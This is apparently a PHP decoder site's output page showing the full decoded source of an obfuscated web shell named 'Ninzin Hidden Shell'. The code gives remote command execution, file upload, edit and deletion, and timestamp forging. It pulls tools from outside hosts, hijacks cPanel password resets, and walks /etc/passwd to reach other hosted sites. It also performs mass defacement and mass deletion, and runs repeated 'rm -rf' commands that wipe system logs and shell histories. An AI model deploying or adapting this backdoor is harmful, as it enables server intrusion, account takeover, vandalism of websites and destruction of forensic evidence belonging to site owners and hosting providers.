Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto bDGIE; vKzed: function unzip($file, $lokasi) { if (!is_readable($file)) { red("\x4..
Decoded Output download
<?
goto bDGIE; vKzed: function unzip($file, $lokasi) { if (!is_readable($file)) { red("Cannot Unzip File / Unreadable File !"); die; } elseif (strpos(file_get_contents($file), "PK\3\4") === false) { red("This isn't Zip File !"); die; } $zip = new ZipArchive(); $res = $zip->open($file); if ($res == true) { $zip->extractTo($lokasi); $zip->close(); green("Success Unzip File !"); } else { red("Failed to Unzip File !"); } } goto hAab2; Du9kO: echo "<a class="destroy_table" href="?path=" . $lokasi . "&komend=headshoot"><i class="fas fa-terminal"></i> C0mmand</a>"; goto ijH8y; VvLMe: echo "<div class="text-center">"; goto SfLkK; uW31K: function ggr($fl) { $a = "fun" . "cti" . "on_" . "exis" . "ts"; $b = "po" . "si" . "x_ge" . "tgr" . "gid"; $c = "fi" . "le" . "gro" . "up"; if ($a($b)) { if (!$a($c)) { return "?"; } $d = $b($c($fl)); if (empty($d)) { $e = $c($fl); if (empty($e)) { return "?"; } else { return $e; } } else { return $d["name"]; } } elseif ($a($c)) { return $c($fl); } else { return "?"; } } goto tl8xe; CxEzp: echo "</table><br>"; goto s5p3N; C6XDb: $total = hdd(disk_total_space("/")); goto NTU1c; zRnLc: $euybrekw = $srl("//", "/", $euybrekw); goto m6yLj; RyRkz: $rad = "RE" . "M" . "OTE_AD" . "DR"; goto CYemH; IreJh: $fsz = "fi" . "lesi" . "ze"; goto T1npO; JwZiV: echo " | WGET : "; goto r3ubz; lIOqg: if (!is_readable($lokasi)) { die("<center>This directory is unreadable :(</center>"); } elseif (isset($_GET["adminer"])) { $dir = $_GET["path"]; $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); function adminer($url, $isi) { $fp = fopen($isi, "w"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } if (file_exists("adminer.php")) { echo "<center><a href='{$full}/adminer.php' target='_blank'><font color='green'> ===>>> Adminer Login <<<=== </a></font></center><br/>"; } else { if (adminer("https://shell.prinsh.com/Nathan/adminer.txt", "adminer.php")) { echo "<center><a href='{$full}/adminer.php' target='_blank'><font color='green'> ===>>> Adminer Login <<<=== </a></font></center><br/>"; } else { echo "<center><font color=red>Gagal Membuat File Adminer</font></center><br/>"; } } die; } elseif (isset($_GET["phpmailer"])) { $dir = $_GET["path"]; $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); function phpmailer($url, $isi) { $fp = fopen($isi, "w"); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FILE, $fp); return curl_exec($ch); curl_close($ch); fclose($fp); ob_flush(); flush(); } if (file_exists("leaf.php")) { echo "<center><a href='{$full}/leaf.php' target='_blank'><font color='green'> ===>>> Mailer Login <<<=== </a></font></center><br/>"; } else { if (phpmailer("https://raw.githubusercontent.com/0xNix/leafmailer/main/leaf.php", "leaf.php")) { echo "<center><a href='{$full}/leaf.php' target='_blank'><font color='green'> ===>>> Mailer Login <<<=== </a></font></center><br/>"; } else { echo "<center><font color=red>Gagal Membuat File Mailer</font></center><br/>"; } } die; } elseif (isset($_GET["cpcrack"])) { echo "<center><br/><h2 class="text-center"><i class="fa fa-key"></i> Auto Reset Password Cpanel</h2>
\x9\x9<form method="POST">\xa \x9<div align="center" class="form-group">
\x9<input type="email" name="email" class="up" style="width: 450px; cursor: pointer; border-color: #fff" placeholder="Masukan Email Lu Ngab..."/><br/>
\x9\x9\x9\x9<br><input type="submit" name="submit" class="up" style="width: 450px; cursor: pointer; border-color: #fff" value="Send"/>
\x9\x9 </div>
\x9 </form></center><br>"; if (isset($_POST["submit"])) { $user = get_current_user(); $site = $_SERVER["HTTP_HOST"]; $ips = getenv("REMOTE_ADDR"); $email = $_POST["email"]; $wr = "email:" . $email; $f = @fopen("/home/" . $user . "/.cpanel/contactinfo", "w"); fwrite($f, $wr); fclose($f); $f = fopen("/home/" . $user . "/.contactinfo", "w"); fwrite($f, $wr); fclose($f); $parm = $site . ":2082/resetpass?start=1"; echo "<br/><center>Url: " . $parm . "</center>"; echo "<br/><center>Username: " . $user . "</center>"; echo "<br/><center>Success Reset To: " . $email . "</center><br/><br/>"; } die; } elseif (isset($_GET["jumping"])) { $i = 0; $dir = $_GET["path"]; echo "<div class='card container'>"; if (preg_match("/hsphere/", $dir)) { $urls = explode("
", $_POST["url"]); if (isset($_POST["jump"])) { echo "<pre>"; foreach ($urls as $url) { $url = str_replace(array("http://", "www."), '', strtolower($url)); $etc = "/etc/passwd"; $f = fopen($etc, "r"); while ($gets = fgets($f)) { $pecah = explode(":", $gets); $user = $pecah[0]; $dir_user = "/hsphere/local/home/{$user}"; if (is_dir($dir_user) === true) { $url_user = $dir_user . "/" . $url; if (is_readable($url_user)) { $i++; $jrw = "[<font color=green>R</font>] <a href='?dir={$url_user}'><font color=#0046FF>{$url_user}</font></a>"; if (is_writable($url_user)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$url_user}'><font color=#0046FF>{$url_user}</font></a>"; } echo $jrw . "<br>"; } } } } if ($i == 0) { } else { echo "<br>Total ada " . $i . " Kamar di " . $ip; } echo "</pre>"; } else { echo "<center>
\x9\x9\x9\x9\x9 <form method="post">
\x9 List Domains: <br>
\x9\x9\x9\x9\x9 <textarea name="url" class="form-control">"; $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt", "r"); while ($getss = fgets($fp)) { echo $getss; } echo "</textarea><br>\xa\x9 \x9\x9 <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">\xa \x9\x9\x9 </form></center>"; } } elseif (preg_match("/vhosts/", $dir)) { $urls = explode("
\xa", $_POST["url"]); if (isset($_POST["jump"])) { echo "<pre>"; foreach ($urls as $url) { $web_vh = "/var/www/vhosts/{$url}/httpdocs"; if (is_dir($web_vh) === true) { if (is_readable($web_vh)) { $i++; $jrw = "[<font color=green>R</font>] <a href='?dir={$web_vh}'><font color=#0046FF>{$web_vh}</font></a>"; if (is_writable($web_vh)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$web_vh}'><font color=#0046FF>{$web_vh}</font></a>"; } echo $jrw . "<br>"; } } } if ($i == 0) { } else { echo "<br>Total ada " . $i . " Kamar di " . $ip; } echo "</pre>"; } else { echo "<center>\xa\x9\x9\x9\x9 <form method="post">
\x9 \x9\x9\x9 List Domains: <br>
\x9 \x9\x9 <textarea name="url" class="form-control">"; bing("ip:{$ip}"); echo "</textarea><br>\xa\x9\x9\x9 <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">\xa\xa\x9 </form></center>"; } } else { echo "<pre>"; $etc = "/etc/passwd"; $opening = @fopen("{$etc}", "r") or die("<center><font color=red>Can't read /etc/passwd</font></center><br/>"); while ($passwd = fgets($etc)) { if ($passwd == '' || !$etc) { echo "<font color=red>Can't read /etc/passwd</font><br/>"; } else { preg_match_all("/(.*?):x:/", $passwd, $user_jumping); foreach ($user_jumping[1] as $user_pro_jump) { $user_jumping_dir = "/home/{$user_pro_jump}/public_html"; if (is_readable($user_jumping_dir)) { $i++; $jrw = "[<font color=green>R</font>] <a href='?dir={$user_jumping_dir}'><font color=#0046FF>{$user_jumping_dir}</font></a>"; if (is_writable($user_jumping_dir)) { $jrw = "[<font color=green>RW</font>] <a href='?dir={$user_jumping_dir}'><font color=#0046FF>{$user_jumping_dir}</font></a>"; } echo $jrw; if (function_exists("posix_getpwuid")) { $domain_jump = file_get_contents("/etc/named.conf"); if ($domain_jump == '') { echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>"; } else { preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump); foreach ($domains_jump[1] as $dj) { $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/{$dj}")); $user_jumping_url = $user_jumping_url["name"]; if ($user_jumping_url == $user_pro_jump) { echo " => ( <u>{$dj}</u> )<br>"; break; } } } } else { echo "<br>"; } } } } } if ($i == 0) { } else { echo "<br>Total ada " . $i . " Kamar di " . $ip; } echo "</pre>"; } echo "</div><br/>"; die; } elseif (isset($_GET["about"])) { echo "<center><div class='card text-center bg-light about'>\xa\x9\x9\x9 <h2 class='card-header'><font face='Bungee Outline' size='6'>{ Ninzin Hidden Shell }</font></h2>\xa \x9\x9<div class='card-body'>
<div><img src='https://i.ibb.co/ZSksTyG/ninzinjp.webp' style='position: relative; border-radius: 50%; width='220' height='220'></div>\xa \x9\x9 <h4 class='card-text'>{ Ninzin Private Shell } hi everyone my name is ninzin, okay my goal is to make this backdoor shell so that it can penetrate all sites in the world xD...</h4> <h4 class='card-text'>and thanks to <a href='https://t.me/xzourt'><font color='yellow'>@xzourt</font></a> for helping me in making this shell. Happy hacking guys!</h4>\xa <audio controls='controls' src='https://d.top4top.io/m_2972fka851.mp3'></audio>
\x9 \x9</div>\xa \x9\x9\x9<div class='card-footer'>
\x9\x9\x9 \x9<p class='card-text'>Copyright 2024 { Ninzin.jp }</p>
\x9 \x9\x9</div>\xa\x9\x9 </div><br/></center>"; die; } elseif (isset($_GET["kill"])) { if (@unlink(preg_replace("!(d+)s.*!", '', __FILE__))) { die("<center><br><center><h2>Shell Removed!!!</h2><br>Goodbye Ninzin :(</center></center>"); } else { echo "<center>unlink failed!</center>"; } } goto d5Nl3; zmjIK: echo "<a class="destroy_table" href="?path=" . $lokasi . "&phpinfo=headshoot"><i class="fab fa-php"></i> PHP Info</a>"; goto Njo2H; lm9_W: echo "</center></td>\xa<td><center><form method="POST" action="?pilihan&path={$lokasi}">
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="pilihan">
<input type="hidden" name="path" value="{$lokasi}/path">\xa<button type='submit' class='btf' name='pilih' value='folder'><i class='fa fa-folder' style='color: #fff'></i></button>
<button type='submit' class='btf' name='pilih' value='file'><i class='fa fa-file' style='color: #fff'></i></button>\xa</form></center>"; goto qC3XU; eZqHv: echo "Server IP : <font color=gold>" . ipserv() . "</font> / Your IP : <font color=gold>" . $_SERVER["REMOTE_ADDR"] . "</font><br>"; goto YSYov; s5p3N: if (isset($_GET["fileloc"])) { echo "<tr><td>Current File : " . $_GET["fileloc"]; echo "</tr></td></table><br/>"; echo "<pre>" . htmlspecialchars(file_get_contents($_GET["fileloc"])) . "</pre>"; author(); } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "hapus") { if (is_dir($_POST["path"])) { xrmdir($_POST["path"]); if (file_exists($_POST["path"])) { red("Failed to delete Directory !"); } else { green("Delete Directory Success !"); } } elseif (is_file($_POST["path"])) { @unlink($_POST["path"]); if (file_exists($_POST["path"])) { red("Failed to Delete File !"); } else { green("Delete File <i>" . basename($_POST["path"]) . "</i> Success !"); } } } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "ubahmod") { if (!isset($_POST["cemod"])) { if ($_POST["ty" . "pe"] == "fi" . "le") { echo "<center>Fi" . "le : " . htmlspecialchars($_POST["path"]) . "<br>"; } else { echo "<center>D" . "ir : " . htmlspecialchars($_POST["path"]) . "<br>"; } echo "<form method="post">
Pe" . "rmi" . "ss" . "ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="" . $sub($spr("%o", $fp($_POST["path"])), -4) . "" />
<input type="hidden" name="path" value="" . $_POST["path"] . "">
<input type="hidden" name="pilih" value="ubahmod">"; if ($_POST["ty" . "pe"] == "fi" . "le") { echo "<input type="hidden" name="type" value="fi" . "le">"; } else { echo "<input type="hidden" name="type" value="di" . "r">"; } echo "<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>\xa </form><br>"; } else { $cm = @$chm($_POST["path"], $ocd($_POST["perm"])); if ($cm == true) { green("Change Permission Success !"); if ($_POST["ty" . "pe"] == "fi" . "le") { echo "<center>Fi" . "le : " . htmlspecialchars($_POST["path"]) . "<br>"; } else { echo "<center>D" . "ir : " . htmlspecialchars($_POST["path"]) . "<br>"; } echo "<form method="post">\xa Pe" . "rmi" . "ss" . "ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="" . $sub($spr("%o", $fp($_POST["path"])), -4) . "" />\xa <input type="hidden" name="path" value="" . $_POST["path"] . "">\xa <input type="hidden" name="pilih" value="ubahmod">"; if ($_POST["ty" . "pe"] == "fi" . "le") { echo "<input type="hidden" name="type" value="fi" . "le">"; } else { echo "<input type="hidden" name="type" value="di" . "r">"; } echo "<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>\xa </form><br>"; } else { red("Change Permission Failed !"); if ($_POST["ty" . "pe"] == "fi" . "le") { echo "<center>Fi" . "le : " . htmlspecialchars($_POST["path"]) . "<br>"; } else { echo "<center>D" . "ir : " . htmlspecialchars($_POST["path"]) . "<br>"; } echo "<form method="post">\xa Pe" . "rmi" . "ss" . "ion : <input name="perm" type="text" class="up" size="4" maxlength="4" value="" . $sub($spr("%o", $fp($_POST["path"])), -4) . "" />\xa <input type="hidden" name="path" value="" . $_POST["path"] . "">\xa <input type="hidden" name="pilih" value="ubahmod">"; if ($_POST["ty" . "pe"] == "fi" . "le") { echo "<input type="hidden" name="type" value="fi" . "le">"; } else { echo "<input type="hidden" name="type" value="di" . "r">"; } echo "<input type="submit" value="Change" name="cemod" class="up" style="cursor: pointer; border-color: #fff"/>\xa </form><br>"; } } } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "ubahtanggal") { if (isset($_POST["tanggale"])) { $stt = "st" . "rtot" . "ime"; $tch = "t" . "ou" . "ch"; $tanggale = $stt($_POST["tanggal"]); if (@$tch($_POST["path"], $tanggale) === true) { green("Change Da" . "te Succ" . "ess !"); $det = "da" . "te"; $ftm = "fi" . "le" . "mti" . "me"; $b = $det("d F Y H:i:s", $ftm($_POST["path"])); if ($_POST["ty" . "pe"] == "fi" . "le") { echo "<center>Fi" . "le : " . htmlspecialchars($_POST["path"]) . "<br>"; } else { echo "<center>D" . "ir : " . htmlspecialchars($_POST["path"]) . "<br>"; } echo "<form method="post">\xa New Da" . "te : <input name="tanggal" type="text" class="up" size="20" value="" . $b . "" />\xa <input type="hidden" name="path" value="" . $_POST["path"] . "">
<input type="hidden" name="pilih" value="ubahtanggal">"; if ($_POST["ty" . "pe"] == "fi" . "le") { echo "<input type="hidden" name="type" value="fi" . "le">"; } else { echo "<input type="hidden" name="type" value="di" . "r">"; } echo "<input type="submit" value="Change" name="tanggale" class="up" style="cursor: pointer; border-color: #fff"/>\xa </form><br>"; } else { red("Fai" . "led to Cha" . "nge Da" . "te !"); } } else { $det = "da" . "te"; $ftm = "fi" . "le" . "mti" . "me"; $b = $det("d F Y H:i:s", $ftm($_POST["path"])); if ($_POST["ty" . "pe"] == "fi" . "le") { echo "<center>Fi" . "le : " . htmlspecialchars($_POST["path"]) . "<br>"; } else { echo "<center>D" . "ir : " . htmlspecialchars($_POST["path"]) . "<br>"; } echo "<form method="post">
New Da" . "te : <input name="tanggal" type="text" class="up" size="20" value="" . $b . "" />
<input type="hidden" name="path" value="" . $_POST["path"] . "">
<input type="hidden" name="pilih" value="ubahtanggal">"; if ($_POST["ty" . "pe"] == "fi" . "le") { echo "<input type="hidden" name="type" value="fi" . "le">"; } else { echo "<input type="hidden" name="type" value="di" . "r">"; } echo "<input type="submit" value="Change" name="tanggale" class="up" style="cursor: pointer; border-color: #fff"/>\xa </form><br>"; } } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "gantinama") { if (isset($_POST["gantin"])) { $ren = @rename($_POST["path"], $_POST["newname"]); if ($ren == true) { green("Change Name Success !"); } else { red("Change Name Failed !"); } } if (empty($_POST["name"])) { $namaawal = $_POST["newname"]; } else { $namawal = $_POST["name"]; } echo "<center>" . $_POST["path"] . "<br>"; echo "<form method="post">
New Name : <input name="newname" type="text" class="up" size="20" value="" . htmlspecialchars($bsn($_POST["path"])) . "" />
<input type="hidden" name="path" value="" . $_POST["path"] . "">
<input type="hidden" name="pilih" value="gantinama">
<input type="submit" value="Change" name="gantin" class="up" style="cursor: pointer; border-color: #fff"/>
</form>"; } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "edit") { if (isset($_POST["gasedit"])) { $edit = @file_put_contents($_POST["path"], $_POST["src"]); if ($edit == true) { green("Edit File Success !"); } else { red("Edit File Failed !"); } } echo "<center>" . $_POST["path"] . "<br><br>"; echo "<form method="post">\xa <textarea cols=80 rows=20 name="src">" . htmlspecialchars(file_get_contents($_POST["path"])) . "</textarea><br>
<input type="hidden" name="path" value="" . $_POST["path"] . "">
<input type="hidden" name="pilih" value="edit">\xa <input type="submit" value="Edit File" name="gasedit" />
</form><br>"; } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "dunlut") { dunlut($_POST["path"]); } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "unzip") { unzip($_POST["path"], $lokasi); } elseif (isset($_GET["upload"])) { echo "<center>Upload File : "; echo "<form enctype="multipart/form-data" method="post">\xa<input type="radio" value="1" name="dirnya" checked>current_dir [ " . cekdir() . " ]\xa<input type="radio" value="2" name="dirnya" >document_root [ " . cekroot() . " ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br><br>\xaUpload File From Link :<br>\xa<input type="text" name="darilink" class="up" placeholder="https://404notfound.id/upload.txt"> <input type="text" name="namalink" class="up" size="3" placeholder="file.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">\xa<br><br>403 Upload File<br>
<input type="file" id="datanya" onchange="setfilename(this.value); loadFile(this.files[0])"/>
<input type="hidden" name="bepasnama" id="namanya">
<textarea style="display: none" id="bepasdata" name="bepasdata"></textarea>\xa<input type="submit" name="bepas" value="Upload" class="up" style="cursor: pointer; border-color: #fff">
</form><br><br></center>"; } elseif (isset($_GET["komend"])) { echo "<center>"; echo "<form method="post" onsubmit="document.getElementById('komendnya').value = btoa(btoa(btoa(document.getElementById('komendnya').value)))">
" . @get_current_user() . "@" . ipserv() . ":~ $ <input type="text" name="komend" id="komendnya" style="background-color: #1f1f1f; color: #fff">\xa <input type="submit" name="eksekomend" value=" >> " class="up" style="cursor: pointer; border-color: #fff">\xa </form><br>"; if (isset($_POST["eksekomend"])) { ekse($_POST["komend"], $lokasi); } echo "</center>"; } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "fo" . "ld" . "er") { if ($isw("./") || $ird("./")) { $loke = $_GET["path"]; if (isset($_POST["buatfolder"])) { $buatfolder = $mkd($loke . "/" . $_POST["fo" . "lde" . "rba" . "ru"]); if ($buatfolder == true) { green("Folder <b>" . htmlspecialchars($_POST["fo" . "lde" . "rba" . "ru"]) . "</b> Created !"); echo "<form method="post"><center>Folder : <input type="text" name="fo" . "lde" . "rba" . "ru" class="up" style="cursor: pointer; border-color: #fff"> <input type="submit" name="buatfolder" value="Create folder" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>"; echo "<input type="hidden" name="path" value="" . $_POST["path"] . "">\xa <input type="hidden" name="pilih" value="folder"></form>"; } else { red("Failed to Create folder !"); echo "<form method="post"><center>Folder : <input type="text" name="fo" . "lde" . "rba" . "ru" class="up" style="cursor: pointer; border-color: #fff"> <input type="submit" name="buatfolder" value="Create folder" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>"; echo "<input type="hidden" name="path" value="" . $_POST["path"] . "">\xa <input type="hidden" name="pilih" value="folder"></form>"; } } else { echo "<form method="post"><center>Folder : <input type="text" name="fo" . "lde" . "rba" . "ru" class="up" style="cursor: pointer; border-color: #fff"> <input type="submit" name="buatfolder" value="Create folder" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>"; echo "<input type="hidden" name="path" value="" . $_POST["path"] . ""><input type="hidden" name="pilih" value="folder"></form>"; } } } elseif (isset($_GET["pilihan"]) && $_POST["pilih"] == "fi" . "le") { if ($isw("./") || $isr("./")) { $loke = $_GET["path"]; if (isset($_POST["buatfi" . "le"])) { $buatf = $fpt($loke . "/" . $_POST["fi" . "lebaru"], ''); if ($fxt($loke . "/" . $_POST["fi" . "lebaru"])) { green("File <b>" . htmlspecialchars($_POST["fi" . "lebaru"]) . "</b> Created !"); echo "<form method="post"><center>Filename : <input type="text" name="fi" . "lebaru" class="up" style="cursor: pointer; border-color: #fff"> <input type="submit" name="buatfi" . "le" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>"; echo "<input type="hidden" name="path" value="" . $_POST["path"] . "">\xa <input type="hidden" name="pilih" value="fi" . "le"></form>"; } else { red("Failed to Create File !"); echo "<form method="post"><center>Filename : <input type="text" name="fi" . "lebaru" class="up" style="cursor: pointer; border-color: #fff"> <input type="submit" name="buatfi" . "le" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>"; echo "<input type="hidden" name="path" value="" . $_POST["path"] . "">
<input type="hidden" name="pilih" value="fi" . "le"></form>"; } } else { echo "<form method="post"><center>Filename : <input type="text" name="fi" . "lebaru" class="up" style="cursor: pointer; border-color: #fff"> <input type="submit" name="buatfi" . "le" value="Create File" class="up" style="cursor: pointer; border-color: #fff"><br><br></center>"; echo "<input type="hidden" name="path" value="" . $_POST["path"] . ""><input type="hidden" name="pilih" value="fi" . "le"></form>"; } } } elseif (isset($_GET["massdeface"])) { function sabun_massal($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}/{$dirb}"; $lokasi = $dirc . "/" . $namafile; if ($dirb === ".") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "..") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "<center>[<font color=green>DONE</font>] {$lokasi}</center><br>"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc, $namafile, $isi_script); } } } } } } function sabun_biasa($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}/{$dirb}"; $lokasi = $dirc . "/" . $namafile; if ($dirb === ".") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "..") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "<center>[<font color=green>DONE</font>] {$lokasi}<br></center>"; file_put_contents($lokasi, $isi_script); } } } } } } if (isset($_POST["start"])) { if ($_POST["tipe_sabun"] == "mahal") { echo "<div style='margin: 5px auto; padding: 5px'>"; sabun_massal($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); echo "</div>"; } elseif ($_POST["tipe_sabun"] == "murah") { echo "<div style='margin: 5px auto; padding: 5px'>"; sabun_biasa($_POST["d_dir"], $_POST["d_file"], $_POST["script"]); echo "</div>"; } } else { echo "<center>"; echo "<form method='post'>
<font style='text-decoration: underline;'>Tipe Deface:</font><br>
<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>\xa <font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='{$lokasi}' class='up' style='width: 450px; cursor: pointer; border-color: #fff'><br>\xa\x9<font style='text-decoration: underline;'>Filename:</font><br>\xa <input type='text' name='d_file' value='Ninzin.php' class='up' style='width: 450px; cursor: pointer; border-color: #fff'><br>\xa <font style='text-decoration: underline;'>Index File:</font><br>
\x9<textarea name='script' class='up' style='width: 450px; height: 200px; color:white; border-color:#fff;'>Kissed By Ninzin</textarea><br>\xa\x9<input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
</form></center><br>"; } } elseif (isset($_GET["massdelete"])) { function hapus_massal($dir, $namafile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}/{$dirb}"; $lokasi = $dirc . "/" . $namafile; if ($dirb === ".") { if (file_exists("{$dir}/{$namafile}")) { unlink("{$dir}/{$namafile}"); } } elseif ($dirb === "..") { if (file_exists('' . dirname($dir) . "/{$namafile}")) { unlink('' . dirname($dir) . "/{$namafile}"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($lokasi)) { echo "<center>[<font color=red>DELETED</font>] {$lokasi}<br></center>"; unlink($lokasi); $idx = hapus_massal($dirc, $namafile); } } } } } } } if (isset($_POST["start"])) { echo "<div style='margin: 5px auto; padding: 5px'>"; hapus_massal($_POST["d_dir"], $_POST["d_file"]); echo "</div>"; } else { echo "<center>"; echo "<form method='post'>
\x9<font style='text-decoration: underline;'>Folder:</font><br>
<input type='text' name='d_dir' value='{$lokasi}' class='up' style='width: 450px; cursor: pointer; border-color: #fff'><br>\xa <font style='text-decoration: underline;'>Filename:</font><br>
\x9<input type='text' name='d_file' value='index.php' class='up' style='width: 450px; cursor: pointer; border-color: #fff'><br>
<br><input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
</form></center><br>"; } } elseif (isset($_GET["phpinfo"])) { echo "<hr><br><center>"; echo "<center><h2>Server Php Info</h2></center>"; echo phpinfo(); echo "<center><hr><br></center>"; } elseif (isset($_GET["delete_logs"])) { echo "<br><center><b><span>Delete Logs ( For Safe )</span></b><center><br>"; echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>"; exec("rm -rf /tmp/logs"); exec("rm -rf /root/.ksh_history"); exec("rm -rf /root/.bash_history"); exec("rm -rf /root/.bash_logout"); exec("rm -rf /usr/local/apache/logs"); exec("rm -rf /usr/local/apache/log"); exec("rm -rf /var/apache/logs"); exec("rm -rf /var/apache/log"); exec("rm -rf /var/run/utmp"); exec("rm -rf /var/logs"); exec("rm -rf /var/log"); exec("rm -rf /var/adm"); exec("rm -rf /etc/wtmp"); exec("rm -rf /etc/utmp"); exec("rm -rf /var/log/lastlog"); exec("rm -rf /var/log/wtmp"); shell_exec("rm -rf /tmp/logs"); shell_exec("rm -rf /root/.ksh_history"); shell_exec("rm -rf /root/.bash_history"); shell_exec("rm -rf /root/.bash_logout"); shell_exec("rm -rf /usr/local/apache/logs"); shell_exec("rm -rf /usr/local/apache/log"); shell_exec("rm -rf /var/apache/logs"); shell_exec("rm -rf /var/apache/log"); shell_exec("rm -rf /var/run/utmp"); shell_exec("rm -rf /var/logs"); shell_exec("rm -rf /var/log"); shell_exec("rm -rf /var/adm"); shell_exec("rm -rf /etc/wtmp"); shell_exec("rm -rf /etc/utmp"); shell_exec("rm -rf /var/log/lastlog"); shell_exec("rm -rf /var/log/wtmp"); passthru("rm -rf /tmp/logs"); passthru("rm -rf /root/.ksh_history"); passthru("rm -rf /root/.bash_history"); passthru("rm -rf /root/.bash_logout"); passthru("rm -rf /usr/local/apache/logs"); passthru("rm -rf /usr/local/apache/log"); passthru("rm -rf /var/apache/logs"); passthru("rm -rf /var/apache/log"); passthru("rm -rf /var/run/utmp"); passthru("rm -rf /var/logs"); passthru("rm -rf /var/log"); passthru("rm -rf /var/adm"); passthru("rm -rf /etc/wtmp"); passthru("rm -rf /etc/utmp"); passthru("rm -rf /var/log/lastlog"); passthru("rm -rf /var/log/wtmp"); system("rm -rf /tmp/logs"); sleep(2); echo "<br>Deleting .../tmp/logs "; sleep(2); system("rm -rf /root/.bash_history"); sleep(2); echo "<p>Deleting .../root/.bash_history </p>"; system("rm -rf /root/.ksh_history"); sleep(2); echo "<p>Deleting .../root/.ksh_history </p>"; system("rm -rf /root/.bash_logout"); sleep(2); echo "<p>Deleting .../root/.bash_logout </p>"; system("rm -rf /usr/local/apache/logs"); sleep(2); echo "<p>Deleting .../usr/local/apache/logs </p>"; system("rm -rf /usr/local/apache/log"); sleep(2); echo "<p>Deleting .../usr/local/apache/log </p>"; system("rm -rf /var/apache/logs"); sleep(2); echo "<p>Deleting .../var/apache/logs </p>"; system("rm -rf /var/apache/log"); sleep(2); echo "<p>Deleting .../var/apache/log </p>"; system("rm -rf /var/run/utmp"); sleep(2); echo "<p>Deleting .../var/run/utmp </p>"; system("rm -rf /var/logs"); sleep(2); echo "<p>Deleting .../var/logs </p>"; system("rm -rf /var/log"); sleep(2); echo "<p>Deleting .../var/log </p>"; system("rm -rf /var/adm"); sleep(2); echo "<p>Deleting .../var/adm </p>"; system("rm -rf /etc/wtmp"); sleep(2); echo "<p>Deleting .../etc/wtmp </p>"; system("rm -rf /etc/utmp"); sleep(2); echo "<p>Deleting .../etc/utmp </p>"; system("rm -rf /var/log/lastlog"); sleep(2); echo "<p>Deleting .../var/log/lastlog </p>"; system("rm -rf /var/log/wtmp"); sleep(2); echo "<p>Deleting .../var/log/wtmp </p>"; sleep(4); echo "<br><br><p>Your Traces Has Been Successfully Deleting ...From the Server"; echo "</td></tr></table>"; } elseif (isset($_GET["delete_logs"])) { echo "<br><center><b><span>Delete Logs ( For Safe )</span></b><center><br>"; echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>"; exec("rm -rf /tmp/logs"); exec("rm -rf /root/.ksh_history"); exec("rm -rf /root/.bash_history"); exec("rm -rf /root/.bash_logout"); exec("rm -rf /usr/local/apache/logs"); exec("rm -rf /usr/local/apache/log"); exec("rm -rf /var/apache/logs"); exec("rm -rf /var/apache/log"); exec("rm -rf /var/run/utmp"); exec("rm -rf /var/logs"); exec("rm -rf /var/log"); exec("rm -rf 